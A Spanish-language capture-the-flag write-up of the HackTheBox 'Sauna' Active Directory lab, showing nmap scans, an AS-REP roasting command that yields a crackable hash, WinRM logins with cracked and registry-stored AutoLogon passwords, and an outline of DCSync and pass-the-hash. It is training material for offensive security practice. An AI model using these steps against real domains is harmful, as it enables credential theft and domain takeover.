Entrada

Sauna - HackTheBox

Buenas! Hoy completaremos la máquina Sauna de la plataforma HackTheBox, esta será la primera máquina de mi reto de 30 días de AD, donde completaré máquinas relacionadas con el Active Directory y crearé writeups para subirlos a mi web. En la máquina de hoy tocaremos los siguientes puntos:

  • Information Leakage
  • Kerberos User Enumeration - Kerbrute
  • ASRepRoast Attack (GetNPUsers.py)
  • Cracking hashes
  • AutoLogon Credentials
  • BloodHound - SharpHound.ps1
  • DCSync Attack - SecretsDump [Privilege Escalation]
  • PassTheHash

Enumeración


Enumeración de puertos


Como en todas las máquinas, comenzaremos con un escaneo de puertos con nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175
Nmap scan report for 10.10.10.175
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49677/tcp open  unknown          syn-ack ttl 127
49689/tcp open  unknown          syn-ack ttl 127
49697/tcp open  unknown          syn-ack ttl 127

Ahora que tenemos los puertos abiertos, realizaremos un escaneo de puertos más exhaustivo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49667,49673,49674,49676,49695,49702,49977 -sCV 10.10.10.175 -oN targeted 
Nmap scan report for EGOTISTICAL-BANK.LOCAL (10.10.10.175)

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-08-04 15:42:29Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-08-04T15:44:00+00:00; +7h00m00s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: EGOTISTICALBANK
|   NetBIOS_Domain_Name: EGOTISTICALBANK
|   NetBIOS_Computer_Name: SAUNA
|   DNS_Domain_Name: EGOTISTICAL-BANK.LOCAL
|   DNS_Computer_Name: SAUNA.EGOTISTICAL-BANK.LOCAL
|   DNS_Tree_Name: EGOTISTICAL-BANK.LOCAL
|   Product_Version: 10.0.17763
|_  System_Time: 2023-08-04T15:43:19+00:00
| ssl-cert: Subject: commonName=SAUNA.EGOTISTICAL-BANK.LOCAL
| Not valid before: 2023-08-02T17:47:09
|_Not valid after:  2024-02-01T17:47:09
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49977/tcp open  msrpc         Microsoft Windows RPC

Enumeración web


Después de enumerar un poco la web, en el directorio about.html se nos da información de usuarios.

Ahora con todos estos usuarios, crearemos un archivo con los nombres de usuario en formato de Active Directory

1
2
3
4
5
6
fsmith
scoins
sdriver
btaylor
hbear
skerb

Explotación


ASRepRoast


Ahora que tenemos una lista de posibles usuarios, vamos a utilizar la herramienta GetNPUsers.py de la suite de Impacket para realizar un ataque ASRepRoast, conseguimos el hash del usuario fsmith

1
2
3
4
5
6
7
8
9
❯ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:9f2c5d19d298c9aa344a8c306cfd57ae$4d995bdf2c65dbd6e666123355e00ff661506a2cedf55b1b50f4623984e88a2fcb438f3974ccb92fd12adb7687bfee8a23c4d85c860d2ee8f4c914170e2da39074c76d7da6a91d987c4854d3e2e5baf59b45df62e223caf1fc7d56ef3b744ea144f3affd0714ce6e37096652d5ed60d63c892aa657b0f4756fc8b7db396d8cbdc642e880a137a29f989b1bbd4ceecba3e361815233bb3327456f10661a6ce302ee472564830a0a6fc2ae6700c3912bbdfb8e86f3afd54b7ad7f98c09e6a5448b8f79c620675b48d7f4331744edbcc4e47d4147702541fdb535cf18ab0481996b5ca2d6c562e96b08a129c59c236a333cb44df5fc67971c2acdd68a976a20be86
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)ç

Ahora que tenemos el hash del usuario, vamos a crackearlo con la herramienta John

Nos conectaremos con evil-winrm a la máquina y conseguiremos la primera flag

1
2
❯ evil-winrm -u 'fsmith' -p 'Thestrokes23' -i 10.10.10.175
*Evil-WinRM* PS C:\Users\FSmith\Documents> 

Privesc fsmith -> svc_loanmgr

Autologon

Buscando credenciales de autologon, nos encontramos con el usaurio svc_loanmanager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
*Evil-WinRM* PS HKLM:\software\microsoft\windows nt\currentversion\winlogon> get-item -path .


    Hive: HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion


Name                           Property
----                           --------
winlogon                       AutoRestartShell             : 1
                               Background                   : 0 0 0
                               CachedLogonsCount            : 10
                               DebugServerCommand           : no
                               DefaultDomainName            : EGOTISTICALBANK
                               DefaultUserName              : EGOTISTICALBANK\svc_loanmanager
                               DisableBackButton            : 1
                               EnableSIHostIntegration      : 1
                               ForceUnlockLogon             : 0
                               LegalNoticeCaption           :
                               LegalNoticeText              :
                               PasswordExpiryWarning        : 5
                               PowerdownAfterShutdown       : 0
                               PreCreateKnownFolders        : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
                               ReportBootOk                 : 1
                               Shell                        : explorer.exe
                               ShellCritical                : 0
                               ShellInfrastructure          : sihost.exe
                               SiHostCritical               : 0
                               SiHostReadyTimeOut           : 0
                               SiHostRestartCountLimit      : 0
                               SiHostRestartTimeGap         : 0
                               Userinit                     : C:\Windows\system32\userinit.exe,
                               VMApplet                     : SystemPropertiesPerformance.exe /pagefile
                               WinStationsDisabled          : 0
                               scremoveoption               : 0
                               DisableCAD                   : 1
                               LastLogOffEndTimePerfCounter : 5742365237
                               ShutdownFlags                : 19
                               DisableLockWorkstation       : 0
                               DefaultPassword              : Moneymakestheworldgoround!

Pero con el comando net user no encontramos ningún usuario svc_loanmanager, lo más parecido es svc_loanmgr, asi que nos conectaremos con WinRM con este usuario.

1
2
❯ evil-winrm -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -i 10.10.10.175
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> 

Escalada de privilegios


Usaremos BloodHound para enumerar este usuario, nos percatamos que tiene permisos de DCSync

DCSync


Ahora que tenemos permisos de DCSync, usaremos la herramienta secretsdump para dumpear todos los hashes del DC

Ahora que tenemos el NTDS, podremos hacer un Pass the Hash para conseguir una shell como nt authority\ system

Esta entrada está licenciada bajo CC BY 4.0 por el autor.

Etiquetas populares